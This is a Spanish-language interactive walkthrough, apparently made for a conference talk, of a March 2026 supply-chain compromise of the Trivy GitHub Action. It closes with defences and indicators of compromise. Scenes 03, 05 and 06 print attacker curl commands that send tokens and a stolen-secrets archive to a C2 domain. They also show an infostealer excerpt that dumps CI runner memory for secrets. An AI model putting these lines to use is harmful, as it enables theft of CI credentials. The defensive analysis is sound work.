El escáner se convirtió en el atacante
intro · recorrido interactivo
Compromiso de cadena de suministro · marzo 2026 · TeamPCP

El escáner se convirtió en el atacante

Trivy es uno de los escáneres de vulnerabilidades de código abierto más usados del mundo — miles de pipelines de CI lo ejecutan cada hora. En marzo de 2026, la herramienta con la que millones de desarrolladores buscaban malware se convirtió, en silencio, en el vector que lo distribuía. Esta es la cadena de ataque completa, paso a paso — y cómo se detectó.

CVE-2026-33634 CVSS 9.4 Crítico GHSA-cxm3-wv7p-598c CISA KEV · 26 mar 2026 TeamPCP
Objetivoaquasecurity/trivy-action — GitHub Action usada por miles de repos
Tipo de ataqueEnvenenamiento de tags + robo de credenciales + worm de cadena de suministro (CanisterWorm)
Evento clave76 de 77 tags versionadas reenviadas con force-push a commits impostor · 19 mar, 17:43 UTC
Detectado pormonitoreo de egress en pipelines de CI (conexión saliente anómala al C2)
0
tags versionadas envenenadas
solo 0.35.0 sobrevivió — immutable releases
0
trivy-action sirvió malware
17:43 UTC 19 mar → 05:40 UTC 20 mar
0
entornos cloud infectados
en toda la cascada de CanisterWorm
0
entre el primer compromiso
y el golpe de envenenamiento de tags
Cómo usar este recorrido

Diez escenas, aproximadamente una por fase del ataque. Usa la barra lateral, los botones Anterior / Siguiente o las flechas del teclado. Todos los elementos interactivos se pueden pulsar sin riesgo — nada de esto hace llamadas de red. Tu escena actual sobrevive una recarga de página (se guarda localmente).

Escena 02 · La víctima

aquasecurity/trivy-action

Antes del ataque, esto parecía un repo open-source saludable: estrellas, releases, un historial de versiones etiquetado en el que confiaban miles de workflows. El peligro se escondía en algo que todos hacemos a diario — confiar en un tag de versión.

aquasecurity/trivy-action Público
8.4k estrellas 512 forks 1.2k la usan
Código Issues 89 Pull requests 34 Discussions Actions Releases 77

Acerca de

Escanea imágenes de contenedor, filesystems y repos en busca de vulnerabilidades y malas configuraciones — desde tu workflow de GitHub Actions.

securityvulnerability-scannergithub-actionstrivy

Releases

Así se veían más de 1,200 workflows

# .github/workflows/scan.yml  (en TU repo)
name: security-scan
on: [push, pull_request]

jobs:
  trivy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@0.34.2
Escena 03 · Acceso inicial · 21–28 feb 2026

La trampa de pull_request_target

El ataque comenzó un mes antes. Una cuenta bot autónoma, hackerbot-claw (atribuida al actor de amenazas TeamPCP), encontró un workflow mal configurado en aquasecurity/trivy — uno que mezclaba la combinación más peligrosa de GitHub Actions: código no confiable + un token privilegiado. Pulsa reproducir y mira cada salto.

los pasos avanzan automáticamente
Paso 1
PR desde un fork
La bot hackerbot-claw abre un pull request desde un fork con un cambio "inofensivo".
hackerbot-claw: patch-1 → aquasecurity/trivy
Paso 2
Se dispara pull_request_target
El workflow corre en el contexto del repo base — con los secrets del repo base y un token con permisos de escritura en alcance.
on: pull_request_target
Paso 3
Se descarga código no confiable
El workflow hace checkout del código del fork — el código del atacante ahora corre con el token privilegiado disponible.
- uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }}
Paso 4
Token exfiltrado
El código del atacante lee GITHUB_TOKEN / un PAT de mantenedor del entorno y lo envía al C2.
curl -d "$GITHUB_TOKEN" \ https://scan.aquasecurtiy.org
Paso 5
Toma del repo
Con un PAT de escritura, TeamPCP privatiza el repo, borra los releases v0.27.0 → v0.69.1 y sube un artefacto sospechoso a la extensión de Trivy para VS Code en Open VSX.
gh release delete v0.27.0 … v0.69.1
El error central

pull_request_target existe para que los workflows puedan comentar o etiquetar PRs usando secrets — siempre corre con las credenciales del repo base. Hacer checkout del propio código del PR (no confiable) dentro de ese workflow le entrega esas credenciales directamente a quien abrió el PR. Es un anti-patrón muy conocido (GitHub lo documenta como peligroso) — y fue la puerta de entrada de toda la campaña.

Escena 04 · Remediación incompleta · 1 mar 2026

La credencial olvidada

Aqua divulgó la brecha (GitHub discussion #10265) y rotó credenciales. ¿Buena respuesta, no? La rotación solo funciona si es exhaustiva. En algún punto del inventario quedó una credencial viva — y TeamPCP se quedó en silencio con las llaves del reino. Pulsa el botón y fíjate bien.

fíjate bien… hay una tarjeta que no se voltea
····· 18 días después ····· 19 de marzo de 2026 — 17:43 UTC
Escena 05 · El evento clave · 19 mar 2026 · 17:43 UTC

Envenenamiento de tags — encuentra la falsificación

El atacante reenvió con force-push 76 de 77 tags de trivy-action (cada tag de 0.0.1 a 0.34.2) más los 7 tags de setup-trivy. Cada uno fue repuntado a un "commit impostor": el árbol del HEAD de master (commit 57a97c7e) con solo entrypoint.sh cambiado por un infostealer malicioso — envuelto en metadatos perfectamente falsificados. Haz clic en los commits de abajo y encuentra las pistas. Encuentra al menos 3.

Pistas encontradas: 0 / 3 necesarias
inspecciona los commits sospechosos…
Mini diff — entrypoint.sh (extracto representativo del archivo malicioso de 204 líneas)
@@ archivo malicioso: líneas 1–105 = infostealer antepuesto AL código real @@
- #!/bin/bash                                   ← línea 1: sigue pareciendo lo de siempre
- # --- [ infostealer de TeamPCP, líneas 4–105 ] ---------------------------
- if sudo -n true 2>/dev/null; then             ← sudo sin contraseña en runners hospedados
-   RUNNER_PID=$(pgrep -f "Runner.Worker" | head -1)
-   sudo python3 - "$RUNNER_PID" <<'PY'          ← vuelca la memoria de Runner.Worker
-     # lee /proc/<pid>/mem, busca {"value":"…","isSecret":true}
- fi
- # …AES-256-CBC + PBKDF2, clave envuelta con RSA-4096 OAEP, paquete → tpcp.tar.gz
- curl -s -X POST -F "f=@tpcp.tar.gz" https://scan.aquasecurtiy.org
@@ líneas 106–204: el código legítimo de escaneo de Trivy, sin cambios @@
  #!/usr/bin/env bash
  set -euo pipefail
  …
+ trivy $SCAN_TYPE $FORMAT $OUTPUT $SEVERITY $TARGET   ← el escaneo real sigue corriendo
+ exit 0                                          ← el workflow "tiene éxito"
Escena 06 · El payload

Anatomía del malware

El entrypoint.sh malicioso tiene 204 líneas: las líneas 4–105 son el infostealer, las 106–204 son el escaneo legítimo de Trivy. El malware se ejecuta primero; después, el escaneo real sigue su curso con normalidad — así que cada workflow parece terminar bien. Tres fases:

recolectar → cifrar → exfiltrar
1 RECOLECTAR

runner
de GitHub
Runner.Worker
~/.aws/credentials
~/.ssh/id_rsa
~/.kube/config
~/.npmrc · ~/.netrc
terraform.tfstate
crypto wallets (BTC/ETH/SOL)
# runner hospedado: sudo sin contraseña → volcado de /proc/<pid>/mem # buscando en la memoria de Runner.Worker el sobre de secrets de GitHub…
Runners hospedados: sudo + Python vuelcan la memoria de Runner.Worker desde /proc/<pid>/mem.
Self-hosted: un recolector de filesystem ("TeamPCP Cloud stealer") barre más de 50 rutas — llaves SSH, credenciales cloud, kubeconfigs, llaves TLS, WireGuard, wallets, historiales de shell.
2 CIFRAR
secrets.tar
AES-256-CBC · derivación de clave PBKDF2 clave de sesión envuelta con clave pública RSA-4096 embebida (OAEP)
tpcp.tar.gz
Todo lo robado se comprime y cifra en tpcp.tar.gz antes de salir de la máquina — así también se cuela a través de los filtros de contenido de egress más ingenuos.
3 EXFILTRAR
POST https://aquasecurtiy.org
plan B: crear un repo público llamado tpcp-docs en la propia cuenta GitHub de la víctima (vía INPUT_GITHUB_PAT) → subir el paquete como release asset → limpiar archivos temporales
POST por HTTPS de tpcp.tar.gz a un dominio C2 typosquat — y luego los archivos temporales se borran.
El binario fue más allá

El binario malicioso de Trivy v0.69.4 (publicado ~18:22 UTC, ventana de exposición hasta ~21:42 UTC) además instaló persistencia en las máquinas de los desarrolladores — no en CI: un dropper Python en ~/.config/systemd/user/sysmon.py más una unidad de systemd de usuario que consulta un C2 en blockchain ICP (tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io).

Escena 07 · La perspectiva de la víctima · noche del 19 mar (UTC)

Una ejecución de CI completamente normal

Esta es la parte que hizo el ataque tan efectivo. Mira un workflow que termina todo en verde — checkout, setup, escaneo, check verde, cero vulnerabilidades. Luego cambia de vista para ver qué pasaba en el mismo runner, en los mismos segundos.

el escaneo sí funciona de verdad — ese es el truco
 acme-corp / storefront · PR #482 · security-scan
Canal lateral — mismo runner, mismos segundos
El punto clave

El escaneo de Trivy corrió de verdad y pasó de verdad. El malware se ejecutó primero, robó los secrets en segundo plano y luego le pasó el control al escáner legítimo. Un check verde te dice que el escaneo funcionó — no te dice nada de qué más se ejecutó. Confiar en "pasó" es justo lo que dejó que esto ardiera ~12 horas en miles de pipelines.

Escena 08 · Campaña completa

Línea de tiempo y alcance

De un workflow mal configurado a un worm que infectó más de 1,000 entornos cloud — en cinco semanas. Haz clic en cualquier nodo para expandir los detalles. Desplázate horizontalmente para seguir la campaña.

La cascada — un compromiso, muchas víctimas

Cadena de suministro de Trivy CVE-2026-33634 · TeamPCP Imágenes de Docker Hub trivy:0.69.5 / 0.69.6 (22 mar) Extensión de VS Code artefacto en Open VSX (28 feb) trivy-action + setup-trivy 76+7 tags envenenados (19 mar) Checkmarx KICS kics-github-action (23 mar) LiteLLM (PyPI) releases maliciosos (24–25 mar) CanisterWorm → npm 66+ paquetes · tokens NPM robados más de 1,000 entornos cloud infectados · CISA KEV el 26 mar 2026
Escena 09 · Defiéndete

Haz que este ataque sea aburrido

Cada eslabón de esta cadena tiene una contramedida barata y aburrida. Alterna entre las versiones insegura y segura de abajo, y llévate la lista del lunes por la mañana a tu equipo.

# ❌ INSEGURO — tag mutable, repuntado silencioso
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@0.34.2   # ← un puntero. puede moverse.
# ✅ SEGURO — fijado a un commit SHA completo
# (Dependabot/Renovate aún pueden actualizarlo con un PR + revisión)
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1
Fija también las imágenes de contenedor — por digest
# ❌ el tag también puede repuntarse en el registry
image: aquasec/trivy:0.69.4

# ✅ el digest es direccionado por contenido — inmutable
image: aquasec/trivy@sha256:822dd269ec10…  (¡verifica el digest real!)
Elimina los tokens de larga duración — OIDC Trusted Publishers
# Sin llaves de AWS guardadas en GitHub:
permissions:
  id-token: write   # emite un token OIDC de corta duración
steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::…:role/ci-deploy

Los proveedores cloud (y los "Trusted Publishers" de npm/PyPI/Docker) emiten credenciales de corta duración y alcance limitado al workload — nada que robar en un volcado de memoria, y la rotación pasa a ser problema de otro.

GITHUB_TOKEN con privilegio mínimo
# El token por defecto tiene escritura-total en muchos repos.
# Redúcelo a nada y agrega solo lo necesario:
permissions: read-all
# o explícitamente:
permissions:
  contents: read
  pull-requests: write

Un token robado que solo puede leer no puede reenviar 76 tags con force-push ni borrar releases. Combinado con immutable releases y atestaciones de procedencia (actions/attest-build-provenance), incluso una toma del repo deja de ser un evento de cadena de suministro.

Seis cosas que hacer el lunes por la mañana

Fija cada referencia uses: de tu org a un commit SHA completo (automatiza con pinact/Renovate; revisa cada actualización como código).
Fija cada imagen de contenedor a un digest SHA256 — incluidas las imágenes base de CI.
Reemplaza las credenciales guardadas de cloud y de publicación de paquetes con OIDC Trusted Publishers.
Audita los workflows con pull_request_target: nunca hagas checkout del código del PR; nunca imprimas secrets; tokens de solo lectura por defecto.
Activa el monitoreo de egress de CI / políticas de red en runtime . Un escáner que llama a casa debería hacer sonar las alarmas.
Si alguna vez ejecutaste una versión comprometida: rota todo a lo que ese runner pudo acceder — credenciales cloud, llaves SSH, tokens de NPM, kubeconfigs… y busca repos tpcp-docs y el dropper sysmon.py.

Indicadores de compromiso (IOCs)

TipoValorNota
Dominio C2scan.aquasecurtiy.orgTyposquat — se cambió una 'i' (el real: aquasec)
IP45.148.10.212Infraestructura C2
C2 secundarioplug-tab-protective-relay.trycloudflare.comTúnel de respaldo
Repo de exfiltracióntpcp-docsCreado en la propia cuenta GitHub de la víctima (ruta de respaldo)
Persistencia~/.config/systemd/user/sysmon.pyDropper de v0.69.4 + unidad de systemd de usuario; consulta el C2 ICP tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io
SHA-256 · script18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aentrypoint.sh malicioso
SHA-256 · binario822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0Trivy v0.69.4 Linux-64bit malicioso
Fuentes y créditos

Línea de tiempo, IOCs y mecánica del ataque a partir de reportes públicos: aviso de Aqua Security y GitHub discussion #10265, aviso de GitHub GHSA-cxm3-wv7p-598c, CISA KEV (agregado el 26 mar 2026), e investigaciones de Wiz y Socket sobre la cascada de CanisterWorm en npm. CVE-2026-33634 · CVSS 9.4 · TeamPCP.

Recreación educativa para una charla de conferencia. Todas las líneas de tiempo e IOCs provienen de avisos públicos.